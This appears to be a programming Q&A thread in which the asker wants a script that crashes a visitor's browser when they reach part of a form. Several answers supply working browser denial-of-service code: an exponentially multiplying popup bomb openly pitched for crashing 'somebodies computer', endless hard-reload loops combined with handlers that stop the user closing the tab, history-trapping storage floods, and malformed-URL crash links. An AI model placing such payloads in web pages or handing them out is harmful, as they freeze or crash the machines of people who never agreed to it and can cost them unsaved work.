10

For testing purposes, I need a quick and easy way to crash my tab/browser. I'm stress testing my website, and these sites are invaluable for Google Chrome.

  • chrome://crash
  • chrome://kill
  • chrome://hang
  • chrome://quit
  • chrome://restart
  • These sites can be found at chrome://about. Another site (not listed on chrome://about is chrome://inducebrowsercrashforrealz- it will crash the top-level process for Chrome, including all tabs in all browser windows and all opened apps). Originally, I was trying to see what data was preserved in case of a crash. For example, the textarea in our form remained filled out upon restarting.

    However, these URL's are only valuable if I manually type the URL into the browser. Using this question (and many others I don't have the links to), I confirmed what I suspected- you can't

    • redirect to chrome:// pages
    • link to chrome:// pages
    • in any other way request info from chrome:// pages (ie. iframe)

    Link to chrome:// url from a webpage

    This poses a problem- I want to cause the browser to crash (chrome://inducebrowsercrashforrealz) when the user reaches a specific part of the form. Is there any script which can cause the browser to crash?

    I've tried while loops, but even when they're exponential, they take a while to kill the page, and never affect the browser. I'd like the crash to be either instantaneous, or eat up enough memory for the browser to freeze.

    Community
    • 1
    • 1
    mancestr
    • 969
    • 3
    • 13
    • 34
    • You can redirect to a `chrome://` page you just need to create an extension with the tabs permission. Then you can use `chrome.tabs.update({ url: "chrome://inducebrowsercrashforrealz")` to redirect the current tab to `chrome://inducebrowsercrashforrealz`. – Justin Liu May 23 '20 at 14:04

    13 Answers13

    5

    WARNING this will crash ANY browser or the computer using PopUps attack:

    If you want to crash somebodies computer or browser

    PopUp CODE that CRASHES a browser or computer

    <script type="text/javascript"> 
    function CrashAndBurn(url) { popupWindow = window.open( url,'popUpWindow','height=181,width=666,left=3,top=222') }
    </script> 
    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    

    If you really want to make their browser seriously hang up, you use this popup it will continue to uploading with 2 more and 2 more popup pages for each popup that means 2x2 popups second time 4 popups then 8, 16, 32, 64 and so on popups. It makes as if was a virus it will spread PopUps in the browser, filling the screen with popups till either the computer or the browser crashes and hangs up and shuts down, just...

    NOTE: You did not hear this from me OKAY... LOL... I ONLY advice this as a piratical joke on a friend and not for an online web page.

    If you wish to make it crash faster then just add more JavaScript:CrashAndBurn(self.location,'_blank'); to onload body like this example x4:

    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    

    It will load 4 popups for each popup that emans after 4 popups it will load 4x4 meaning 18 popups and then 18x4 that is 72 and then 72x4 that is 288 popups and then 288x4 that is 1152 popups just in 4 rounds of popups in a few seconds.

    And if you want to be EXTREME HORRIBLE then use x10 example:

    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    

    and you have 8 popups with 10 that is 10x10=100 popups and then 1000 and after that 1 000 000 popups and GUARANTEED crash fast.

    EDIT You can use a while loop instead of copy-pasting 10 times. It would be much shorter.

    Kento Nishi
    • 578
    • 1
    • 9
    • 24
    SeekLoad
    • 973
    • 1
    • 9
    • 33
    2

    Google Chrome Crashers Websites List

    1. chrome://badcastcrash
    2. chrome://inducebrowsercrashforrealz
    3. chrome://crash
    4. chrome://crashdump
    5. chrome://kill
    6. chrome://hang
    7. chrome://shorthang
    8. chrome://gpuclean
    9. chrome://gpucrash
    10. chrome://gpuhang
    11. chrome://memory-exhaust
    12. chrome://memory-pressure-critical
    13. chrome://memory-pressure-moderate
    14. chrome://ppapiflashcrash
    15. chrome://ppapiflashhang
    16. chrome://quit
    17. chrome://restart
    Justin Liu
    • 581
    • 6
    • 21
    2

    <!DOCTYPE html>
    <html>
    <body>
    
    
    <h2>Crashing Now</h2>
    
    
    <p>Hit Ok To Crash</p>
    
    
    <p id="demo"></p>
    
    
    <script>
    onbeforeunload = function(){localStorage.x=1};
    
    
    if(confirm("Do you REALLY want me to crash your browser?")){
      setTimeout(function(){
        while(1)location.reload(1)
      }, 1000)
    }
    </script>
    
    
    </body>
    </html>
    RandomDude
    • 21
    • 1
    • 1
      While this code may solve the question, [including an explanation](https://meta.stackoverflow.com/questions/392712/explaining-entirely-code-based-answers) of how and why this solves the problem would really help to improve the quality of your post, and probably result in more up-votes. Remember that you are answering the question for readers in the future, not just the person asking now. Please edit your answer to add explanations and give an indication of what limitations and assumptions apply. – PerplexingParadox May 07 '21 at 16:20
    1
    for(var i = 0; i === i; i++) {}
    

    should crash your current window

    David
    • 49
    • 7
    • 2
      This causes a hang in the Javascript interpreter, but does not "crash" the window. –  Nov 01 '16 at 19:32
    • 3
      I guess, everything becomes irresponsible though. – David Nov 01 '16 at 19:33
    • Actually, this was what I needed. For Chromebooks, when the window hangs, it cannot be resolved (it has virtually no CPU), and a force reboot is the only way out. +1! – mancestr Nov 01 '16 at 23:27
    1

    there is one way...

    while(true){
    var dp = document.getElementByID("spamr");
     if(!document.getElementByID("spamr")){
      var dp = document.createElementByID("spamr");
      dp.innerHTML += "";
    }
    dp.innerHTML += "";
    }
    
    1

    Works in chrome, edge, IE:

    while(1)location.reload(1)
    

    Continuously hard reload current page (works best over http/https)

    And to prevent user from closing tab:

    onbeforeunload = () => true; //only works if the user has interacted with the page
    

    Recap:

    onbeforeunload = () => true;
    
    if(confirm("Do you REALLY want to crash your browser?")){
      setTimeout(function(){
        while(1)location.reload(1)
      }, 1000)
    }

    WARNING: THIS WILL COMPLETELY AND UTTERLY CRASH ANY INSTANCES OF CHROME and, if you're running on chromebook or any old OS, this will completely crash your entire system!

    EDIT: a version that works for safari:

    window.onload=()=>location.hash="M"+"\u0001".repeat(2**25)+"m";
    
    BlobKat
    • 88
    • 1
    • 8
    1

    for(var i = 0; i === i; i++) {}

    10 Rep
    • 2,217
    • 7
    • 19
    • 33
    bruh
    • 11
    • 1
    1

    This works, but slowly, it will make the browser unresponsive immediately though.

    try {
        window.location.replace("chrome://quit")
        //some old browsers support this, if they are useing VERY old chromium.
    } finally {
        history.pushState(null, document.title,     location.href);
        window.addEventListener('popstate', function(event) {
            history.pushState(null, document.title,      location.href);
        })
        while(true) {
            let location = 1
            let item = 1
            localStorage.setItem(location, item)
            location = location+1
            item = item*2
            localStorage.getItem(location)
            console.log("added and used: "+item+" at "+location)
        }
    }
    if (window.closed) {
        window.location.replace("run.html")
    }
    
    Tyler2P
    • 2,324
    • 26
    • 22
    • 31
    Fighter178
    • 303
    • 2
    • 9
    0

    I don't think there's any way to actually crash a client's browser via JS. However, it's possible to just perform tons of useless calculations rendering a tab useless.

        while(true) {
           for(let i = 99; i === i; i *= i) {
              console.log(i);
           };
        };
    
    Noah
    • 9
    • 2
    0
    for(let index = 0; true; index++){
    console.log(index)
    }
    

    it will work slowly but it will work.

    • Your answer could be improved with additional supporting information. Please "edit" to add further details, such as citations or documentation, so that others can confirm that your answer is correct. You can find more information on how to write good answers in the help center: https://stackoverflow.com/help/how-to-answer . Good luck – nima Sep 29 '21 at 09:14
    0

    Simple bookmarklet that crashes your chromebook. If you try to shut down your chromebook and open it again, the screen will stay on for 5 seconds.

    javascript:while (true) { window.location.reload(true); };
    
    -1

    This should work!

    <button onclick="crash()">???</button>
        <script type="text/javascript">
    function crash(){
      if(navigator.userAgent.indexOf("Chrome") != -1 )
        {
          alert('WHoops')
    window.open('http://crashchrome.com/', '_self', '');
        }
        else {
          alert('Hehe')
          while (1==1){
            console.log(3234567654*45671234567890987654321)
          }
        }
    }
    </script>
    -4

    This link:

    http://a/%%30%30

    will crash chrome because it results in a null character. Try it!

    Annika
    • 1